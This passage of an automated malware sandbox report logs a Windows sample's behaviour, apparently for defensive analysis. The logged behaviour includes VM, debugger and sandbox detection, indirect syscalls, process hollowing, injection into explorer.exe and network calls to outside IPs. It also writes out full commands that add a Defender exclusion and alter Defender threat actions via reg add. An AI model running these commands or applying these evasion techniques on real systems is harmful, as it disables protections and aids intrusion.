Source: svchost.exe, 0000000D.00000002.2695447346.000001B899287000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C6000c298128b8c02a71a2474aeb5f3dc\|Virtual disk \|VMware
Source: svchost.exe, 0000001C.00000002.2523419061.0000017993A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: &@\??\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000024.00000000.1419179675.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000I}~"
Source: explorer.exe, 00000024.00000000.1419179675.0000000009052000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000}io
Source: explorer.exe, 00000024.00000000.1419179675.0000000008F4D000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SATA CD00
Source: svchost.exe, 0000000D.00000003.1410168158.000001B899B47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000SCSI\CdRomNECVMWarVMware_SATA_CD001.00SCSI\CdRomNECVMWarVMware_SATA_CD00SCSI\CdRomNECVMWarSCSI\NECVMWarVMware_SATA_CD001NECVMWarVMware_SATA_CD001GenCdRom
Source: explorer.exe, 00000024.00000000.1337259714.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware20,1
Source: explorer.exe, 00000024.00000000.1373594900.0000000007306000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: svchost.exe, 0000000D.00000003.1410168158.000001B899B47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware
Source: explorer.exe, 00000024.00000000.1419179675.0000000008F27000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWT`
Source: explorer.exe, 00000024.00000000.1337259714.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SVGA IIES1371
Source: explorer.exe, 00000024.00000000.1337259714.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware Virtual RAM
Source: svchost.exe, 0000001C.00000003.1311533226.0000017993A44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000001C.00000002.2523419061.0000017993A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000&00000
Source: explorer.exe, 00000024.00000000.1337259714.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: explorer.exe, 00000024.00000000.1419179675.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000024.00000000.1321857063.0000000000C74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000000B.00000002.2721253426.000001E0D1264000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: $@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: explorer.exe, 00000024.00000000.1337259714.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: svchost.exe, 0000001C.00000003.1311218476.0000017993A44000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000000B.00000002.2721253426.000001E0D127F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000000D.00000002.2762397674.000001B899B32000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?VMware-4288 1!cc 59 1`
Source: explorer.exe, 00000024.00000000.1337259714.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.NoneVMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9dVMware20,1
Source: explorer.exe, 00000024.00000000.1419179675.0000000009013000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: explorer.exe, 00000024.00000000.1337259714.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: explorer.exe, 00000024.00000000.1373594900.0000000007306000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: War&Prod_VMware_xU1
Source: svchost.exe, 0000000D.00000002.2695447346.000001B899287000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6000c298128b8c02a71a2474aeb5f3dc\|Virtual disk \|VMware
Source: AddInProcess32.exe, 00000005.00000002.2528201229.0000000000D32000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001D.00000002.2537509496.00000238A0831000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000000.1290598899.0000000140AAD000.00000080.00000001.01000000.0000000E.sdmp	Binary or memory string: <$hGfSuA_A
Source: svchost.exe, 0000000D.00000003.1410135146.000001B899B36000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk 2.0 6000c298128b8c02a71a2474aeb5f3dc
Source: svchost.exe, 0000000D.00000003.1410168158.000001B899B47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk 2.0 6000c298128b8c02a71a2474aeb5f3dc$
Source: svchost.exe, 0000000B.00000002.2686253357.000001E0D122B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@\??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000024.00000000.1419179675.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWystem32\DriverStore\en-US\machine.inf_loc5
Source: explorer.exe, 00000024.00000000.1337259714.0000000003249000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware Virtual RAM00000001VMW-4096MBRAM slot #0RAM slot #0
Source: svchost.exe, 0000001C.00000002.2523240829.0000017993A02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: svchost.exe, 00000034.00000002.2732590110.000001F4D8694000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMWare
Source: explorer.exe, 00000024.00000000.1419179675.0000000009052000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000'
Source: svchost.exe, 00000034.00000002.2705850563.000001F4D862B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: svchost.exe, 0000000B.00000002.2686253357.000001E0D123A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 0000000D.00000002.2695447346.000001B899287000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ?VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: explorer.exe, 00000024.00000000.1321857063.0000000000C74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: svchost.exe, 0000000D.00000003.1410168158.000001B899B47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000SCSI\DiskVMware__Virtual_disk____2.0_SCSI\DiskVMware__Virtual_disk____SCSI\DiskVMware__SCSI\VMware__Virtual_disk____2VMware__Virtual_disk____2GenDisk

Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe

API call chain: ExitProcess graph end node

graph_18-16474

Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe

System information queried: ModuleInformation

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe

System information queried: CodeIntegrityInformation

Hides threads from debuggers

Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Process queried: DebugPort
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process queried: DebugPort
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process queried: DebugPort
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process queried: DebugPort
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process queried: DebugPort

Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe

Code function: 8_2_00403406 NtClose,LdrLoadDll,RtlZeroMemory,GetModuleHandleA,NtMapViewOfSection,NtDuplicateObject,NtQuerySystemInformation,NtOpenKey,strstr,tolower,towlower,

8_2_00403406

Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe

Code function: 18_2_00418320 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

18_2_00418320

Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_02E10D90 mov eax, dword ptr fs:[00000030h]	8_2_02E10D90
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_02E1092B mov eax, dword ptr fs:[00000030h]	8_2_02E1092B
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Code function: 8_2_03021E8F push dword ptr fs:[00000030h]	8_2_03021E8F

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E35755C0 RtlAddVectoredExceptionHandler,	0_2_00007FF7E35755C0
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Code function: 0_2_00007FF7E35D9808 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF7E35D9808
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Code function: 18_2_0041584A SetUnhandledExceptionFilter,	18_2_0041584A
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Code function: 18_2_0041585C SetUnhandledExceptionFilter,	18_2_0041585C

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: FFE8.exe.36.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 91.202.233.231 80
Source: C:\Windows\explorer.exe	Network Connect: 190.224.203.37 80
Source: C:\Windows\explorer.exe	Network Connect: 45.129.96.86 80
Source: C:\Windows\explorer.exe	Network Connect: 66.85.156.89 80

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile			Jump to behavior

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\lgX7lgUL1w.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 protect: page execute and read and write

Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe

Thread created: C:\Windows\explorer.exe EIP: 89419E0

Disables Windows Defender (deletes autostart)

Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe

Registry value deleted: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\group policy objects\{4CD858B3-107C-48BB-950A-EADAAF604C18}Machine\SOFTWARE\Policies\Microsoft\Windows Defender DisableAntiSpyware

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	NtQueryInformationProcess: Indirect: 0x140D79DBC
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	NtQueryInformationProcess: Indirect: 0x140737CF6
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	NtSetInformationThread: Indirect: 0x14074EFD4
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	NtQuerySystemInformation: Indirect: 0x140D20A0E
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	NtQueryInformationProcess: Indirect: 0x140D79F0B
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	NtQueryInformationProcess: Indirect: 0x140737BBA
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	NtSetInformationThread: Indirect: 0x140D9A2AB
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	NtQuerySystemInformation: Indirect: 0x1406D842B

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\lgX7lgUL1w.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: read write
Source: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe	Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read

Modifies Windows Defender protection settings

Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\lgX7lgUL1w.exe

Section unmapped: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base address: 400000

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000	Jump to behavior
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 404000	Jump to behavior
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 406000	Jump to behavior
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 674008	Jump to behavior

Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe "C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe" /s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe "C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe "C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe "C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\E6ijlcXzCqRG7r61JO0b9evs.exe "C:\Users\user\Pictures\E6ijlcXzCqRG7r61JO0b9evs.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
